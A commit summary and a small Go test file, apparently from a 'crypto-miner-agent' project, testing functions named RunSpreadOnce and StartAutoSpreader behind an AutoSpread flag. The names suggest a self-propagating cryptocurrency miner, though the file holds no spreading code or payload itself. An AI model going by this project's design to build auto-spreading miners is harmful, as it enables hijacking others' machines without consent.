Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
26 lines
629 B
Go
26 lines
629 B
Go
package deploy
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func TestRunSpreadOnceReturnsMessage(t *testing.T) {
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
|
|
msg := RunSpreadOnce(cfg)
|
|
if msg == "" {
|
|
t.Fatal("expected non-empty status message")
|
|
}
|
|
if !strings.Contains(strings.ToLower(msg), "spread") {
|
|
t.Fatalf("unexpected message: %q", msg)
|
|
}
|
|
}
|
|
|
|
func TestStartAutoSpreaderNoOpWhenDisabled(t *testing.T) {
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: false}}
|
|
// Should return immediately without panic.
|
|
StartAutoSpreader(cfg)
|
|
}
|